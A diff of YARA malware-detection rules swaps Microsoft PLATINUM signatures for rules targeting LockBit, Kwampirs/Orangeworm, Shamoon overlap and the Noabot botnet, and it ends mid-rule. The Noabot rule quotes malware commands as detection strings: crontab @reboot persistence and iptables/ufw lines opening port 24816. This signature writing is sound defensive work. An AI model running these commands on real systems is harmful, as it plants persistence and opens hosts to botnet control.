-		hash = "bf944eb70a382bd77ee5b47548ea9a4969de0527"
-		logic_hash = "6629ca96c73e48bc14c811df781973f8040f88bcbf9eda601e9f5db86e11c20b"
+		description = "Generic LockBit detection, also catches the version used in attacks in Indonesia."
+		author = "Costin G. Raiu, TLPBLACK, craiu@noh.ro"
+		id = "167788a4-a610-5770-9f51-aa4cc4d3d350"
+		date = "2024-07-03"
+		modified = "2024-07-03"
+		reference = "https://www.bleepingcomputer.com/news/security/meet-brain-cipher-the-new-ransomware-behind-indonesia-data-center-attack/"
+		source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/crime_lockbit3_ransomware.yara#L2-L32"
+		license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE"
+		hash = "eb82946fa0de261e92f8f60aa878c9fef9ebb34fdababa66995403b110118b12"
+		hash = "6e07da23603fbe5b26755df5b8fec19cadf1f7001b1558ea4f12e20271263417"
+		logic_hash = "84efb899315379d85a03959359f89fbcb97cbb6477f1ec439380a4d15fed4f53"
 		score = 75
-		quality = 80
-		tags = "PLATINUM"
-		unpacked_sample_sha1 = "d807648ddecc4572c7b04405f496d25700e0be6e"
-		activity_group = "Platinum"
-		version = "1.0"
+		quality = 85
+		tags = "FILE"
+		version = "1.1"
 
 	strings:
-		$str1 = {76 16 8B D0 83 E2 07 8A 4C 14 24 8A 14 18 32 D1 88 14 18 40 3B C7 72 EA }
-		$str2 = "VPLRXZHTU"
-		$str3 = "%d) Command:%s"
-		$str4 = {0D 0A 2D 2D 2D 2D 2D 09 2D 2D 2D 2D 2D 2D 0D 0A}
+		$a1 = {C3 8BFF53 51 6A0158 0FA2F7C1000000400F95C0 84C074090FC7F0 0FC7F2 59 5B C3 }
+		$a2 = {C3 6A0758 33C90FA2F7C3000004000F95C0 84C074090FC7F8 0FC7FA 59 5B C3 }
+		$a3 = {C3 0F31 8BC8 C1C90D 0F31 8BD0 C1C20D 8BC1 59 5B C3 }
+		$a4 = {55 8BEC 51 52 56 33C0 8B550C 8B7508 AC 33C9 B930000000 8D0C4D01000000 02F1 2AF1 33C9 B906000000 8D0C4D01000000 D3CA 03D0 90 85C0}
+		$a5 = {E9 ?? ?? ?? ?? 6683F841 720C 6683F846 7706 6683E837 EB26 6683F861 720C 6683F866 7706 6683E857 EB14 6683F830 720C 6683F839 7706 6683E830 EB}
+		$a6 = {5D 8BC3 5F 5E 5B 5D C20C00 90 55 8BEC 53 56 57 33C0 8B5D14 33C9 33D2 8B750C 8B7D08 85F6 }
 
 	condition:
-		$str1 and $str2 and $str3 and $str4
+		( filesize <1MB) and ( uint16(0)==0x5a4d) and (2 of them )
 }
-rule MICROSOFT_Trojan_Win32_Placisc3 : PLATINUM
+rule CRAIU_Apt_ZZ_Orangeworm_Kwampirs_Dropperandmainpayload : KWAMPIRS
 {
 	meta:
-		description = "Dipsind variant"
-		author = "Microsoft"
-		id = "f2089236-8227-5042-9086-fb77aebd147f"
-		date = "2016-04-12"
-		modified = "2016-12-21"
-		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L311-L329"
-		license_url = "N/A"
-		hash = "1b542dd0dacfcd4200879221709f5fa9683cdcda"
-		logic_hash = "3a1afe737c08b4d9149380e04f5d6240a00b237822c3c82d82eccf5412cb05d1"
+		description = "Kwampirs dropper and main payload components"
+		author = "Symantec"
+		id = "5a40a5e7-0b98-5f6e-a808-493676b57cda"
+		date = "2018-04-23"
+		modified = "2020-03-31"
+		reference = "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"
+		source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/apt_zz_orangeworm.yara#L2-L80"
+		license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE"
+		logic_hash = "40e197f4278a2d14e8fe1359676558319e86728f7e61ddf612bcc894c311d53a"
 		score = 75
-		quality = 80
-		tags = "PLATINUM"
-		unpacked_sample_sha1 = "bbd4992ee3f3a3267732151636359cf94fb4575d"
-		activity_group = "Platinum"
-		version = "1.0"
+		quality = 85
+		tags = "KWAMPIRS"
+		family = "Kwampirs"
 
 	strings:
-		$str1 = {BA 6E 00 00 00 66 89 95 ?? ?? FF FF B8 73 00 00 00 66 89 85 ?? ?? FF FF B9 64 00 00 00 66 89 8D ?? ?? FF FF BA 65 00 00 00 66 89 95 ?? ?? FF FF B8 6C 00 00 00}
-		$str2 = "VPLRXZHTU"
-		$str3 = {8B 44 24 ?? 8A 04 01 41 32 C2 3B CF 7C F2 88 03}
+		$pubkey = {
+            06 02 00 00 00 A4 00 00 52 53 41 31 00 08 00 00
+            01 00 01 00 CD 74 15 BC 47 7E 0A 5E E4 35 22 A5
+            97 0C 65 BE E0 33 22 F2 94 9D F5 40 97 3C 53 F9
+            E4 7E DD 67 CF 5F 0A 5E F4 AD C9 CF 27 D3 E6 31
+            48 B8 00 32 1D BE 87 10 89 DA 8B 2F 21 B4 5D 0A
+            CD 43 D7 B4 75 C9 19 FE CC 88 4A 7B E9 1D 8C 11
+            56 A6 A7 21 D8 C6 82 94 C1 66 11 08 E6 99 2C 33
+            02 E2 3A 50 EA 58 D2 A7 36 EE 5A D6 8F 5D 5D D2
+            9E 04 24 4A CE 4C B6 91 C0 7A C9 5C E7 5F 51 28
+            4C 72 E1 60 AB 76 73 30 66 18 BE EC F3 99 5E 4B
+            4F 59 F5 56 AD 65 75 2B 8F 14 0C 0D 27 97 12 71
+            6B 49 08 84 61 1D 03 BA A5 42 92 F9 13 33 57 D9
+            59 B3 E4 05 F9 12 23 08 B3 50 9A DA 6E 79 02 36
+            EE CE 6D F3 7F 8B C9 BE 6A 7E BE 8F 85 B8 AA 82
+            C6 1E 14 C6 1A 28 29 59 C2 22 71 44 52 05 E5 E6
+            FE 58 80 6E D4 95 2D 57 CB 99 34 61 E9 E9 B3 3D
+            90 DC 6C 26 5D 70 B4 78 F9 5E C9 7D 59 10 61 DF
+            F7 E4 0C B3
+        }
+		$network_xor_key = {
+            B7 E9 F9 2D F8 3E 18 57 B9 18 2B 1F 5F D9 A5 38
+            C8 E7 67 E9 C6 62 9C 50 4E 8D 00 A6 59 F8 72 E0
+            91 42 FF 18 A6 D1 81 F2 2B C8 29 EB B9 87 6F 58
+            C2 C9 8E 75 3F 71 ED 07 D0 AC CE 28 A1 E7 B5 68
+            CD CF F1 D8 2B 26 5C 31 1E BC 52 7C 23 6C 3E 6B
+            8A 24 61 0A 17 6C E2 BB 1D 11 3B 79 E0 29 75 02
+            D9 25 31 5F 95 E7 28 28 26 2B 31 EC 4D B3 49 D9
+            62 F0 3E D4 89 E4 CC F8 02 41 CC 25 15 6E 63 1B
+            10 3B 60 32 1C 0D 5B FA 52 DA 39 DF D1 42 1E 3E
+            BD BC 17 A5 96 D9 43 73 3C 09 7F D2 C6 D4 29 83
+            3E 44 44 6C 97 85 9E 7B F0 EE 32 C3 11 41 A3 6B
+            A9 27 F4 A3 FB 2B 27 2B B6 A6 AF 6B 39 63 2D 91
+            75 AE 83 2E 1E F8 5F B5 65 ED B3 40 EA 2A 36 2C
+            A6 CF 8E 4A 4A 3E 10 6C 9D 28 49 66 35 83 30 E7
+            45 0E 05 ED 69 8D CF C5 40 50 B1 AA 13 74 33 0F
+            DF 41 82 3B 1A 79 DC 3B 9D C3 BD EA B1 3E 04 33
+        }
+		$decrypt_string = {
+            85 DB 75 09 85 F6 74 05 89 1E B0 01 C3 85 FF 74
+            4F F6 C3 01 75 4A 85 F6 74 46 8B C3 D1 E8 33 C9
+            40 BA 02 00 00 00 F7 E2 0F 90 C1 F7 D9 0B C8 51
+            E8 12 28 00 00 89 06 8B C8 83 C4 04 33 C0 85 DB
+            74 16 8B D0 83 E2 0F 8A 92 1C 33 02 10 32 14 38
+            40 88 11 41 3B C3 72 EA 66 C7 01 00 00 B0 01 C3
+            32 C0 C3
+        }
+		$init_strings = {
+            55 8B EC 83 EC 10 33 C9 B8 0D 00 00 00 BA 02 00
+            00 00 F7 E2 0F 90 C1 53 56 57 F7 D9 0B C8 51 E8
+            B3 27 00 00 BF 05 00 00 00 8D 77 FE BB 4A 35 02
+            10 2B DE 89 5D F4 BA 48 35 02 10 4A BB 4C 35 02
+            10 83 C4 04 2B DF A3 C8 FC 03 10 C7 45 FC 00 00
+            00 00 8D 4F FC 89 55 F8 89 5D F0 EB 06
+        }
 
 	condition:
-		$str1 and $str2 and $str3
+		(2 of them )
 }
-rule MICROSOFT_Trojan_Win32_Placisc4 : PLATINUM
+rule CRAIU_Apt_ZZ_Orangeworm_Kwampirs_Shamoon_Code : FILE
 {
 	meta:
-		description = "Installer for Dipsind variant"
-		author = "Microsoft"
-		id = "04770059-06ca-5315-a7b3-0e9fbcecfc57"
-		date = "2016-04-12"
-		modified = "2016-12-21"
-		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L331-L350"
-		license_url = "N/A"
-		hash = "3d17828632e8ff1560f6094703ece5433bc69586"
-		logic_hash = "4fa4f48d6747cde6d635eca2f5277da7be17473a561828eafa604fbc2801073a"
+		description = "Kwampirs and Shamoon common code"
+		author = "FBI / cywatch@fbi.gov"
+		id = "0d403b3b-a5a8-5ac6-a12d-7181a1ad11b3"
+		date = "2020-01-14"
+		modified = "2020-03-31"
+		reference = "https://assets.documentcloud.org/documents/6821582/FLASH-CP-000118-MW-Downgraded-Version.pdf"
+		source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/apt_zz_orangeworm.yara#L85-L105"
+		license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE"
+		logic_hash = "5ab949280be87d242ad2843dee001eee5a338e266ef52da55883f7c77e66cf5b"
 		score = 75
-		quality = 80
-		tags = "PLATINUM"
-		unpacked_sample_sha1 = "2abb8e1e9cac24be474e4955c63108ff86d1a034"
-		activity_group = "Platinum"
-		version = "1.0"
+		quality = 85
+		tags = "FILE"
+		yara_version = "3.7.0"
 
 	strings:
-		$str1 = {8D 71 01 8B C6 99 BB 0A00 00 00 F7 FB 0F BE D2 0F BE 04 39 2B C2 88 04 39 84 C0 74 0A}
-		$str2 = {6A 04 68 00 20 00 00 68 00 00 40 00 6A 00 FF D5}
-		$str3 = {C6 44 24 ?? 64 C6 44 24 ?? 6F C6 44 24 ?? 67 C6 44 24 ?? 32 C6 44 24 ?? 6A}
+		$memcpy = { 56 8B F0 85 FF 74 19 85 D2 74 15 8B CF 85 F6 74 0B 2B D7 8A 04 0A 88 01 41 4E 75 F7 8B C7 5E C3 33 C0 5E C3 }
+		$strlenW = { 33 C0 85 C9 74 17 80 3C 41 00 75 07 80 7C 41 01 00 74 0A 3D 00 94 35 77 73 03 40 EB E9 C3 }
+		$strcmp = { 85 C0 75 07 85 D2 75 40 B0 01 C3 85 D2 74 39 66 83 38 00 56 74 24 0F B7 0A 66 85 C9 74 16
+		66 8B 30 83 C2 02 83 C0 02 66 3B F1 75 18 66 83 38 00 75 E4 EB 06 66 83 38 00 75 0A 66 83 3A 00 75 04 B0
+		01 5E C3 32 C0 5E C3 32 C0 C3 }
 
 	condition:
-		$str1 and $str2 and $str3
+		( uint16(0)==0x5a4d) and (1 of them )
 }
-rule MICROSOFT_Trojan_Win32_Plakpers : PLATINUM
+rule CRAIU_Apt_ZZ_Orangeworm_Kwampirs_Installer : FILE
 {
 	meta:
-		description = "Injector / loader component"
-		author = "Microsoft"
-		id = "d37c6ac5-ca46-5fb2-80bd-ab63c8dbcd21"
-		date = "2016-04-12"
-		modified = "2016-12-21"
-		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L352-L371"
-		license_url = "N/A"
-		hash = "fa083d744d278c6f4865f095cfd2feabee558056"
-		logic_hash = "d3705a34232ba2b00786b32f84823d3a6b037ed6a5882983e69addc020bc0b35"
+		description = "Kwampirs installer xor keys and Unicode string length routine"
+		author = "FBI / cywatch@fbi.gov"
+		id = "8c80d0d5-8c65-5cef-ad86-b38f4d671bec"
+		date = "2020-01-14"
+		modified = "2020-03-31"
+		reference = "https://assets.documentcloud.org/documents/6821582/FLASH-CP-000118-MW-Downgraded-Version.pdf"
+		source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/apt_zz_orangeworm.yara#L109-L127"
+		license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE"
+		logic_hash = "ac9c3ba7188cbbe736ff81b41086fdc874ac24ae83d3cec390907f8edd0a0ce5"
 		score = 75
-		quality = 80
-		tags = "PLATINUM"
-		unpacked_sample_sha1 = "3a678b5c9c46b5b87bfcb18306ed50fadfc6372e"
-		activity_group = "Platinum"
-		version = "1.0"
+		quality = 85
+		tags = "FILE"
+		yara_version = "3.7.0"
 
 	strings:
-		$str1 = "MyFileMappingObject"
-		$str2 = "[%.3u]  %s  %s  %s [%s:" wide
-		$str3 = "%s\\{%s}\\%s" wide
+		$string_key = { 6C 35 E3 31 1B 23 F9 C9 65 EB F3 07 93 33 F2 A3 }
+		$resource_key = { 28 99 B6 17 63 33 EE 22 97 97 55 B5 7A C4 E1 A4 }
+		$strlenW = { 33 C0 85 C9 74 17 80 3C 41 00 75 07 80 7C 41 01 00 74 0A 3D 00 94 35 77 73 03 40 EB E9 C3}
 
 	condition:
-		$str1 and $str2 and $str3
+		(( uint16(0)==0x5a4d) and (2 of them ))
 }
-rule MICROSOFT_Trojan_Win32_Plainst2 : PLATINUM
+rule CRAIU_Apt_ZZ_Orangeworm_Kwampirs_Implant : FILE
 {
 	meta:
-		description = "Zc tool"
-		author = "Microsoft"
-		id = "7202eeb5-269d-5e9a-9a93-bdf489639e74"
-		date = "2016-04-12"
-		modified = "2016-12-21"
-		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L373-L392"
-		license_url = "N/A"
-		hash = "3f2ce812c38ff5ac3d813394291a5867e2cddcf2"
-		logic_hash = "4dc897a598fd491694f8fe3ec4ae9278dc341ffd9f95f416eb5e98fb5aa200e4"
+		description = "Kwampirs implant xor and rsa keys"
+		author = "FBI / cywatch@fbi.gov"
+		id = "d1c1ab0e-e07d-5f0e-97e8-5aee53ab620e"
+		date = "2020-01-14"
+		modified = "2020-03-31"
+		reference = "https://assets.documentcloud.org/documents/6821582/FLASH-CP-000118-MW-Downgraded-Version.pdf"
+		source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/apt_zz_orangeworm.yara#L130-L177"
+		license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE"
+		logic_hash = "a9559c17c802c6060799d0a1ee96d68bd521475dd12ff6040a74874cabe3a9a9"
 		score = 75
-		quality = 80
-		tags = "PLATINUM"
-		unpacked_sample_sha1 = "88ff852b1b8077ad5a19cc438afb2402462fbd1a"
-		activity_group = "Platinum"
-		version = "1.0"
+		quality = 85
+		tags = "FILE"
+		yara_version = "3.7.0"
 
 	strings:
-		$str1 = "Connected [%s:%d]..."
-		$str2 = "reuse possible: %c"
-		$str3 = "] => %d%%\x0a"
+		$string_key = { 6C 35 E3 31 1B 23 F9 C9 65 EB F3 07 93 33 F2 A3 }
+		$beacon_key = { 28 30 A4 3F 6D 28 04 23 36 2A 32 DC AD 0B A0 4B E8 20 1F 64 84 0A F4 C4 C7 8A 8D C0
+                        A2 C4 40 19 A1 43 82 38 14 FD 6C 90 E0 7E 2A 40 DF D3 F2 3E 72 38 C4 96 4D 98 7C 16 3B 3C E7 27 B7 D0 EF
+                        7B 3C 45 06 9A 69 0D 6A 41 18 95 95 46 88 CC 19 6F EB 6B 5B F8 51 E4 2E E1 E6 8F 44 CF 20 2F 2B DE 7A 28
+                        5D DB 55 5A 1A 35 AF D8 5F 57 B8 0F A5 F7 08 4A D0 AB E5 95 31 A1 25 31 00 65 3C 70 73 99 42 0A 02 1A 69
+                        D9 A6 DF 14 B2 05 DD A8 DF F5 D9 71 6D 6E 96 5F 1B D1 0F 8E 0A 35 D4 65 FA 90 58 CC 75 02 92 B7 2C 46 ED
+                        66 33 44 75 FC A4 E0 FD B8 C8 B5 0C 3A 84 D9 23 16 A4 AF 3B 57 C6 D2 5C B3 AB 9C CD F0 B2 A4 51 43 D3 F0
+                        30 21 B5 ED 25 E3 64 B7 0C 1C A8 50 3A FF 6B 2C 32 06 B2 D1 54 3D 86 B9 1A BF 59 D7 92 59 EC 40 4A 8D B0
+                        E7 9A 9A 0D 94 19 27 D8 6D AD 5C 3E BE 14 67 DC F0 92 }
+		$download_key = { B7 E9 F9 2D F8 3E 18 57 B9 18 2B 1F 5F D9 A5 38 C8 E7 67 E9 C6 62 9C 50 4E 8D 00
+                        A6 59 F8 72 E0 91 42 FF 18 A6 D1 81 F2 2B C8 29 EB B9 87 6F 58 C2 C9 8E 75 3F 71 ED 07 D0 AC CE 28 A1 E7
+                        B5 68 CD CF F1 D8 2B 26 5C 31 1E BC 52 7C 23 6C 3E 6B 8A 24 61 0A 17 6C E2 BB 1D 11 3B 79 E0 29 75 02 D9
+                        25 31 5F 95 E7 28 28 26 2B 31 EC 4D B3 49 D9 62 F0 3E D4 89 E4 CC F8 02 41 CC 25 15 6E 63 1B 10 3B 60 32
+                        1C 0D 5B FA 52 DA 39 DF D1 42 1E 3E BD BC 17 A5 96 D9 43 73 3C 09 7F D2 C6 D4 29 83 3E 44 44 6C 97 85 9E
+                        7B F0 EE 32 C3 11 41 A3 6B A9 27 F4 A3 FB 2B 27 2B B6 A6 AF 6B 39 63 2D 91 75 AE 83 2E 1E F8 5F B5 65 ED
+                        B3 40 EA 2A 36 2C A6 CF 8E 4A 4A 3E 10 6C 9D 28 49 66 35 83 30 E7 45 0E 05 ED 69 8D CF C5 40 50 B1 AA 13
+                        74 33 0F DF 41 82 3B 1A 79 DC 3B 9D C3 BD EA B1 3E 04 33 }
+		$hashfile_key = { FE FE F5 5C 37 54 A1 6C 28 84 ED BF 84 70 25 41 56 24 37 32 98 9F A0 35 48 F3 1C 33
+                        2E F9 D0 A3 7D 36 BA 66 ED FB 52 E3 8B 07 32 5A 1A DD 19 0A F0 73 A8 C6 61 3F 3F 31 8A 93 AB F4 19 AA D8
+                        42 3B 3E 6E FC 0A 2A 41 1B 28 33 7F 79 27 41 81 14 D0 0B 24 06 4C 35 B3 23 5C F2 E4 06 7D 73 93 1C 7A 30
+                        8E 87 74 0F 53 F9 92 A3 CA 20 E3 A1 12 E1 6B 86 62 B6 CC C1 45 C9 43 43 15 59 BE 5A 77 31 D8 36 5F BD F6
+                        D7 09 65 42 3C CD 2C B1 C1 28 55 6E F9 91 3C 55 3B DF EB ED BF 84 70 25 41 56 24 37 32 98 9F A0 35 48 F3
+                        1C 33 2E F9 D0 A3 7D 36 BA 66 ED FB 52 E3 8B 07 32 5A 1A DD 19 0A F0 73 A8 C6 61 3F 3F 31 8A 93 AB F4 19
+                        AA D8 42 3B 3E 6E FC 0A 2A 41 1B 28 33 7F 79 27 41 81 14 D0 0B 24 06 4C 35 B3 23 5C F2 E4 06 7D 73 93 1C
+                        7A 30 8E 87 74 0F 53 F9 92 A3 CA 20 E3 A1 12 E1 6B 86 }
+		$rsa_key = { CD 74 15 BC 47 7E 0A 5E E4 35 22 A5 97 0C 65 BE E0 33 22 F2 94 9D F5 40 97 3C 53 F9 E4 7E
+                        DD 67 CF 5F 0A 5E F4 AD C9 CF 27 D3 E6 31 48 B8 00 32 1D BE 87 10 89 DA 8B 2F 21 B4 5D 0A CD 43 D7 B4
+                        75 C9 19 FE CC 88 4A 7B E9 1D 8C 11 56 A6 A7 21 D8 C6 82 94 C1 66 11 08 E6 99 2C 33 02 E2 3A 50 EA 58 D2
+                        A7 36 EE 5A D6 8F 5D 5D D2 9E 04 24 4A CE 4C B6 91 C0 7A C9 5C E7 5F 51 28 4C 72 E1 60 AB 76 73 30 66 18
+                        BE EC F3 99 5E 4B 4F 59 F5 56 AD 65 75 2B 8F 14 0C 0D 27 97 12 71 6B 49 08 84 61 1D 03 BA A5 42 92 F9 13
+                        33 57 D9 59 B3 E4 05 F9 12 23 08 B3 50 9A DA 6E 79 02 36 EE CE 6D F3 7F 8B C9 BE 6A 7E BE 8F 85 B8 AA 82
+                        C6 1E 14 C6 1A 28 29 59 C2 22 71 44 52 05 E5 E6 FE 58 80 6E D4 95 2D 57 CB 99 34 61 E9 E9 B3 3D 90 DC 6C
+                        26 5D 70 B4 78 F9 5E C9 7D 59 10 61 DF F7 E4 0C B3 }
 
 	condition:
-		$str1 and $str2 and $str3
+		(( uint16(0)==0x5a4d) and (2 of them ))
 }
-rule MICROSOFT_Trojan_Win32_Plakpeer : PLATINUM
+rule CRAIU_Apt_ZZ_Orangeworm_Kwampirs_Shamoon : FILE
 {
 	meta:
-		description = "Zc tool v2"
-		author = "Microsoft"
-		id = "e573279b-4a7b-5e15-8ab2-a77cd98a8b6e"
-		date = "2016-04-12"
-		modified = "2016-12-21"
-		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L394-L414"
-		license_url = "N/A"
-		hash = "2155c20483528377b5e3fde004bb604198463d29"
-		logic_hash = "cc34ce9f12c95133872783090efd5813d3e2f44a1c726d29b2ba834509c9a1d5"
+		description = "Kwampirs Shamoon overlap"
+		author = "FBI / cywatch@fbi.gov"
+		id = "87d28867-383e-5e09-8369-63c8a4e3f966"
+		date = "2020-01-14"
+		modified = "2020-03-31"
+		reference = "https://assets.documentcloud.org/documents/6821582/FLASH-CP-000118-MW-Downgraded-Version.pdf"
+		source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/apt_zz_orangeworm.yara#L200-L221"
+		license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE"
+		logic_hash = "43f352c3db016d2831d11a13ae6c0baf440fa464560090e00432780df6a8982d"
 		score = 75
-		quality = 80
-		tags = "PLATINUM"
-		unpacked_sample_sha1 = "dc991ef598825daabd9e70bac92c79154363bab2"
-		activity_group = "Platinum"
-		version = "1.0"
+		quality = 60
+		tags = "FILE"
 
 	strings:
-		$str1 = "@@E0020(%d)" wide
-		$str2 = /exit.{0,3}@exit.{0,3}new.{0,3}query.{0,3}rcz.{0,3}scz/ wide
-		$str3 = "---###---" wide
-		$str4 = "---@@@---" wide
+		$s1 = "g\\system32\\" fullword wide
+		$s2 = "ztvttw" fullword wide
+		$s3 = "lwizvm" fullword ascii
+		$op1 = { 94 35 77 73 03 40 eb e9 }
+		$op2 = { 80 7c 41 01 00 74 0a 3d }
+		$op3 = { 74 0a 3d 00 94 35 77 }
 
 	condition:
-		$str1 and $str2 and $str3 and $str4
+		(( uint16(0)==0x5a4d) and ( filesize <4000KB) and (3 of them ))
 }
-import "pe"
-
-rule MICROSOFT_Devilstongue_Hijackdll : FILE
+rule CRAIU_Crime_Noabot : FILE
 {
 	meta:
-		description = "Detects SOURGUM's DevilsTongue hijack DLL"
-		author = "Microsoft Threat Intelligence Center (MSTIC)"
-		id = "b5de2a8c-e0c8-5c8c-bb65-aee5701b4bb3"
-		date = "2021-07-15"
-		modified = "2022-07-07"
-		reference = "https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/DevilsTongue_HijackDll.yar#L2-L45"
-		license_url = "N/A"
-		logic_hash = "d1c01df74a00672bb8229d5433314d7cfa49ab22565e6cf78a4b6b2884dbd299"
+		description = "Noabot is a clone of Mirai"
+		author = "Costin G. Raiu, Art of Noh, craiu@noh.ro"
+		id = "8626783b-898c-587d-9b23-c8c9111cde66"
+		date = "2024-01-11"
+		modified = "2024-01-11"
+		reference = "https://www.akamai.com/blog/security-research/mirai-based-noabot-crypto-mining"
+		source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/crime_noabot.yara#L2-L57"
+		license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE"
+		hash = "1603202a9115b83224233697f2ca1d36fef60113b94a73a15afed79a459aacc3"
+		hash = "16a28951acfe78b81046bfedb0b489efb4c9d3d1d3b8475c39b93cd5105dc866"
+		hash = "3da983ef3580a4b1b3b041cd991019b900f7995791c0acb32035ac5706085a63"
+		hash = "648a4f33b2c268523378929179af529bc064538326a1202dcdfcd9ee12ae8f6c"
+		hash = "829b3c298f7003f49986fb26920f7972e52982651ae6127c6e8e219a86f46890"
+		hash = "c723a221cff37a700e0e3b9dc5f69cdd6a4cc82502ac7c144d6ca1eaf963e800"
+		hash = "c8d3c0b87176b7f8d5667d479cb40d1b9f030d30afe588826254f26ebb4ac58e"
+		logic_hash = "51c63f45f891ee80c5e8428575f12cb5881665cb9fe26018d173335db0f02012"
 		score = 75
-		quality = 80
+		quality = 85
 		tags = "FILE"
+		version = "1.1"
 
 	strings:
-		$str1 = "windows.old\\windows" wide
-		$str2 = "NtQueryInformationThread"
-		$str3 = "dbgHelp.dll" wide
-		$str4 = "StackWalk64"
-		$str5 = "ConvertSidToStringSidW"
-		$str6 = "S-1-5-18" wide
-		$str7 = "SMNew.dll"
-		$code1 = {B8 FF 15 00 00 66 39 41 FA 74 06 80 79 FB E8}
-		$code2 = {44 8B C0 B8 B5 81 4E 1B 41 F7 E8 C1 FA 05 8B CA C1 E9 1F 03 D1 69 CA 2C 01 00 00 44 2B C1 45 85 C0 7E 19}
+		$a1a = "(crontab -l; printf '@reboot %s noa"
+		$a1b = "(crontab -l; printf '@reboot %s \"%s\" noa"
+		$a2 = {40 6D 61 67 69 63 40 [1-8] 6E 6F 61 [1-8] 0A 0A 49 20 61 69 6E 74 20 79 6F 75 72 20 61 76}
+		$a3 = {31 32 33 34 35 36 [1-8] 41 64 6D 69 6E 21 40 23 [1-8] 7A 68 61 6E 67 6A 69 65 31 32 33 [1-8] 43 75 6D 75 6C 75 73 4C 69 6E 75 78 21 [1-8] 61 62 63 31 32 33 24 [1-8] 77 65 62 40 31 32 33 [1-8] 6D 70 69 75 73 65 72 [1-8] 61 74 75 61 6C 69 7A 61}
+		$a4 = "HACKED: %s:%d:%s:%s"
+		$a5 = {25 64 7C 25 64 00 31 76 57 3F 3E 55 00 26 25 2423 00 67 76 64 64 60 78 65 73 00 00 26 25 24 00}
+		$b1 = "ufw allow 24816"
+		$b2 = "iptables -I INPUT -p tcp --dport 24816 -j ACCEPT"
+		$b3 = "iptables -I OUTPUT -p tcp --dport 24816 -j ACCEPT"
+		$b4 = "firewall-cmd --permanent --add-port 24816/tcp"
+		$b5 = "magicPussyMommy"
+		$c1 = "SOCKET_CREATING_ERROR SCANNER"
+		$c2 = "SOCKET_CREATING_ERROR RECYCLE"
 
 	condition:
-		filesize <800KB and uint16(0)==0x5A4D and (pe.characteristics&pe.DLL) and (4 of them or ($code1 and $code2) or (pe.imphash()=="9a964e810949704ff7b4a393d9adda60"))
+		filesize <10MB and ( uint32(0)==0x464c457f) and (( any of ($a*)) or ( all of ($b*)) or ( all of ($c*)))
 }
-/*
- * YARA Rule Set
- * Repository Name: NCSC
- * Repository: https://github.com/mikesxrs/Open-Source-YARA-rules
- * Retrieval Date: 2024-08-04
- * Git Commit: ec0056f767db98bf6d5fd63877ad51fb54d350e9
- * Number of Rules: 17
- * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance)
- *
- *
- * LICENSE
- *
- * NO LICENSE SET
- */
-rule NCSC_Sparrowdoor_Sleep_Routine
+rule CRAIU_Unk_Liblzma_Backdoor : FILE
 {
 	meta:
-		description = "SparrowDoor implements a Sleep routine with value seeded on GetTickCount. This signature detects the previous and this variant of SparrowDoor. No MZ/PE match as the backdoor has no header."
-		author = "NCSC"
-		id = "9a0aa77d-7dbe-5007-b875-211cf528614b"
-		date = "2022-02-28"
-		modified = "2022-07-06"
-		reference = "https://www.ncsc.gov.uk/files/NCSC-MAR-SparrowDoor.pdf"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/SparrowDoor_sleep_routine.yar#L1-L12"
-		license_url = "N/A"
